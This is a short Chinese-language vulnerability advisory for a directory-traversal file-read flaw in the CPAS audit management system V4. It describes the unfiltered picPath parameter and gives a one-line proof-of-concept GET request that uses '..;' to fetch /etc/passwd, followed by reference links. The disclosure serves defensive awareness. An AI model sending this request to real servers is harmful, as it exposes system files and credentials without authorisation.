Description
友数聚科技-CPAS审计管理系统V4+是一款审计管理软件。其/mobileUploadPictureController/doDownLoadPicFile接口在处理picPath参数时，未对用户输入进行充分过滤，攻击者可以通过构造包含目录遍历序列（如..;）的路径参数，读取服务器上的任意文件。成功利用此漏洞可导致服务器敏感信息泄露，例如系统配置文件、数据库凭证等关键数据，从而可能为进一步攻击提供便利。
友数聚科技-CPAS审计管理系统V4 /cpasm4/static/..;/mobileUploadPictureController/doDownLoadPicFile 文件读取漏洞
PoC
GET /cpasm4/static/..;/mobileUploadPictureController/doDownLoadPicFile?picPath=%2Fetc%2Fpasswd&fileType=1 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.hacktwohub.com/4935.html
https://stemcellsclinical.com/vulnerability?page=4
https://www.gm7.org/archives/58036
https://cn-sec.com/archives/3594975.html
https://github.com/adysec/POC/blob/main/wpoc/%E5%8C%97%E4%BA%AC%E5%8F%8B%E6%95%B0%E8%81%9A%E7%A7%91%E6%8A%80/CPAS%E5%AE%A1%E8%AE%A1%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/xc_214/article/details/144734176